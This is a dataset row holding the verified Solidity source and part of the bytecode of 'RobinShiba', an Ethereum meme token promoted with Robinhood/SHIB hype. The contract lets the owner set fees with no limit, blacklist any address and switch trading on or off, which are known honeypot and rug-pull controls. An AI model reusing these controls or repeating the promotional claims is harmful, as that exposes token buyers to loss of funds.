address
stringlengths 42
42
| source_code
stringlengths 6.9k
125k
| bytecode
stringlengths 2
49k
| slither
stringclasses 664
values | id
int64 0
10.7k
|
---|---|---|---|---|
0x14dbc9ef4a0fa9011a6b7eb10c9ca21bf3f097ae
|
/**
*Submitted for verification at Etherscan.io on 2022-04-12
*/
/**
Robinhood Adds Shiba Inu, let's moon.
This morning fintech trading platform Robinhood added the dog-themed meme-coin Shiba Inu (SHIB). SHIB surged almost 25% an hour after the news, with the other’s jumping in the high single digits.
- 3 ETH Liquidity, 2% max tx
----------------------------------------------------------
.-".' .--. _..._
.' .' .' \ .-"" __ ""-.
/ / .' : --..:__.-"" ""-. \
: : / ;.d$$ sbp_.-""-:_:
; : : ._ :P .-. ,"TP
: \ \ T--...-; : d$b :d$b
\ `. \ `..' ; $ $ ;$ $
`. "-. ). : T$P :T$P
\..---^.. / `-' `._`._
.' "-. .-" T$$$b
/ "-._.-" ._ '^' ;
: \.`. /
; -. \`."-._.-'-'
: .'\ \ \ \ \
; ; /: \ \ \ . ;
: : , ; `. `.; :
; \ ; ; "-._: ;
: `. : : \/
; /"-. ; :
: / "-. : : ;
: .' T-; ; ;
; : ; ; / :
; ; : : .' ;
: : ;: _..-"\ :
: \ : ; / \ ;
; . '. '-; / ; :
; \ ; : : : : '-.
'.._L.:-' : ; ; . `.
; : : \ ; :
: '-.. '.._L.:-'
; , `.
: \ ; :
'..__L.:-'
*/
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract RobinShiba is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "RobinShiba";
string private constant _symbol = "RSHIB";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 10000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
//Buy Fee
uint256 private _redisFeeOnBuy = 0;
uint256 private _taxFeeOnBuy = 6;
//Sell Fee
uint256 private _redisFeeOnSell = 0;
uint256 private _taxFeeOnSell = 6;
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots;
mapping(address => uint256) private cooldown;
address payable private _developmentAddress = payable(0x532ABF4C4f8bAF13cA206f9c28864778D2e8c975);
address payable private _marketingAddress = payable(0x532ABF4C4f8bAF13cA206f9c28864778D2e8c975);
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 200000 * 10**9;
uint256 public _maxWalletSize = 10000000 * 10**9;
uint256 public _swapTokensAtAmount = 10000000 * 10**9;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_developmentAddress.transfer(amount.div(2));
_marketingAddress.transfer(amount.div(2));
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set MAx transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
}
|
0x6080604052600436106101c55760003560e01c806374010ece116100f7578063a2a957bb11610095578063c492f04611610064578063c492f04614610614578063dd62ed3e1461063d578063ea1644d51461067a578063f2fde38b146106a3576101cc565b8063a2a957bb1461055a578063a9059cbb14610583578063bfd79284146105c0578063c3c8cd80146105fd576101cc565b80638f70ccf7116100d15780638f70ccf7146104b25780638f9a55c0146104db57806395d89b411461050657806398a5c31514610531576101cc565b806374010ece146104335780637d1db4a51461045c5780638da5cb5b14610487576101cc565b8063313ce567116101645780636d8aa8f81161013e5780636d8aa8f81461039f5780636fc3eaec146103c857806370a08231146103df578063715018a61461041c576101cc565b8063313ce5671461032057806349bd5a5e1461034b5780636b99905314610376576101cc565b80631694505e116101a05780631694505e1461026257806318160ddd1461028d57806323b872dd146102b85780632fd689e3146102f5576101cc565b8062b8cf2a146101d157806306fdde03146101fa578063095ea7b314610225576101cc565b366101cc57005b600080fd5b3480156101dd57600080fd5b506101f860048036038101906101f39190612f2f565b6106cc565b005b34801561020657600080fd5b5061020f61081c565b60405161021c9190613378565b60405180910390f35b34801561023157600080fd5b5061024c60048036038101906102479190612e9b565b610859565b6040516102599190613342565b60405180910390f35b34801561026e57600080fd5b50610277610877565b604051610284919061335d565b60405180910390f35b34801561029957600080fd5b506102a261089d565b6040516102af919061355a565b60405180910390f35b3480156102c457600080fd5b506102df60048036038101906102da9190612e4c565b6108ac565b6040516102ec9190613342565b60405180910390f35b34801561030157600080fd5b5061030a610985565b604051610317919061355a565b60405180910390f35b34801561032c57600080fd5b5061033561098b565b60405161034291906135cf565b60405180910390f35b34801561035757600080fd5b50610360610994565b60405161036d9190613327565b60405180910390f35b34801561038257600080fd5b5061039d60048036038101906103989190612dbe565b6109ba565b005b3480156103ab57600080fd5b506103c660048036038101906103c19190612f70565b610aaa565b005b3480156103d457600080fd5b506103dd610b5c565b005b3480156103eb57600080fd5b5061040660048036038101906104019190612dbe565b610c2d565b604051610413919061355a565b60405180910390f35b34801561042857600080fd5b50610431610c7e565b005b34801561043f57600080fd5b5061045a60048036038101906104559190612f99565b610dd1565b005b34801561046857600080fd5b50610471610e70565b60405161047e919061355a565b60405180910390f35b34801561049357600080fd5b5061049c610e76565b6040516104a99190613327565b60405180910390f35b3480156104be57600080fd5b506104d960048036038101906104d49190612f70565b610e9f565b005b3480156104e757600080fd5b506104f0610f51565b6040516104fd919061355a565b60405180910390f35b34801561051257600080fd5b5061051b610f57565b6040516105289190613378565b60405180910390f35b34801561053d57600080fd5b5061055860048036038101906105539190612f99565b610f94565b005b34801561056657600080fd5b50610581600480360381019061057c9190612fc2565b611033565b005b34801561058f57600080fd5b506105aa60048036038101906105a59190612e9b565b6110ea565b6040516105b79190613342565b60405180910390f35b3480156105cc57600080fd5b506105e760048036038101906105e29190612dbe565b611108565b6040516105f49190613342565b60405180910390f35b34801561060957600080fd5b50610612611128565b005b34801561062057600080fd5b5061063b60048036038101906106369190612ed7565b611201565b005b34801561064957600080fd5b50610664600480360381019061065f9190612e10565b611361565b604051610671919061355a565b60405180910390f35b34801561068657600080fd5b506106a1600480360381019061069c9190612f99565b6113e8565b005b3480156106af57600080fd5b506106ca60048036038101906106c59190612dbe565b611487565b005b6106d4611649565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610761576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610758906134ba565b60405180910390fd5b60005b8151811015610818576001601060008484815181106107ac577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061081090613894565b915050610764565b5050565b60606040518060400160405280600a81526020017f526f62696e536869626100000000000000000000000000000000000000000000815250905090565b600061086d610866611649565b8484611651565b6001905092915050565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000662386f26fc10000905090565b60006108b984848461181c565b61097a846108c5611649565b61097585604051806060016040528060288152602001613da160289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061092b611649565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546120a19092919063ffffffff16565b611651565b600190509392505050565b60185481565b60006009905090565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6109c2611649565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a4f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a46906134ba565b60405180910390fd5b6000601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b610ab2611649565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b3f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b36906134ba565b60405180910390fd5b80601560166101000a81548160ff02191690831515021790555050565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b9d611649565b73ffffffffffffffffffffffffffffffffffffffff161480610c135750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610bfb611649565b73ffffffffffffffffffffffffffffffffffffffff16145b610c1c57600080fd5b6000479050610c2a81612105565b50565b6000610c77600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612200565b9050919050565b610c86611649565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d13576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d0a906134ba565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610dd9611649565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e66576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e5d906134ba565b60405180910390fd5b8060168190555050565b60165481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b610ea7611649565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f34576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f2b906134ba565b60405180910390fd5b80601560146101000a81548160ff02191690831515021790555050565b60175481565b60606040518060400160405280600581526020017f5253484942000000000000000000000000000000000000000000000000000000815250905090565b610f9c611649565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611029576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611020906134ba565b60405180910390fd5b8060188190555050565b61103b611649565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146110c8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110bf906134ba565b60405180910390fd5b8360088190555082600a819055508160098190555080600b8190555050505050565b60006110fe6110f7611649565b848461181c565b6001905092915050565b60106020528060005260406000206000915054906101000a900460ff1681565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611169611649565b73ffffffffffffffffffffffffffffffffffffffff1614806111df5750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166111c7611649565b73ffffffffffffffffffffffffffffffffffffffff16145b6111e857600080fd5b60006111f330610c2d565b90506111fe8161226e565b50565b611209611649565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611296576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161128d906134ba565b60405180910390fd5b60005b8383905081101561135b5781600560008686858181106112e2577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b90506020020160208101906112f79190612dbe565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061135390613894565b915050611299565b50505050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6113f0611649565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461147d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611474906134ba565b60405180910390fd5b8060178190555050565b61148f611649565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461151c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611513906134ba565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141561158c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115839061341a565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156116c1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116b89061353a565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611731576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117289061343a565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161180f919061355a565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561188c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611883906134fa565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156118fc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118f39061339a565b60405180910390fd5b6000811161193f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611936906134da565b60405180910390fd5b611947610e76565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156119b55750611985610e76565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611da057601560149054906101000a900460ff16611a44576119d6610e76565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614611a43576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a3a906133ba565b60405180910390fd5b5b601654811115611a89576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a80906133fa565b60405180910390fd5b601060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611b2d5750601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611b6c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b639061345a565b60405180910390fd5b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614611c195760175481611bce84610c2d565b611bd89190613690565b10611c18576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c0f9061351a565b60405180910390fd5b5b6000611c2430610c2d565b9050600060185482101590506016548210611c3f5760165491505b808015611c57575060158054906101000a900460ff16155b8015611cb15750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b8015611cc95750601560169054906101000a900460ff165b8015611d1f5750600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611d755750600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611d9d57611d838261226e565b60004790506000811115611d9b57611d9a47612105565b5b505b50505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611e475750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b80611efa5750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015611ef95750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b5b15611f08576000905061208f565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148015611fb35750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611fcb57600854600c81905550600954600d819055505b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156120765750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b1561208e57600a54600c81905550600b54600d819055505b5b61209b84848484612566565b50505050565b60008383111582906120e9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120e09190613378565b60405180910390fd5b50600083856120f89190613771565b9050809150509392505050565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc61215560028461259390919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612180573d6000803e3d6000fd5b50601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6121d160028461259390919063ffffffff16565b9081150290604051600060405180830381858888f193505050501580156121fc573d6000803e3d6000fd5b5050565b6000600654821115612247576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161223e906133da565b60405180910390fd5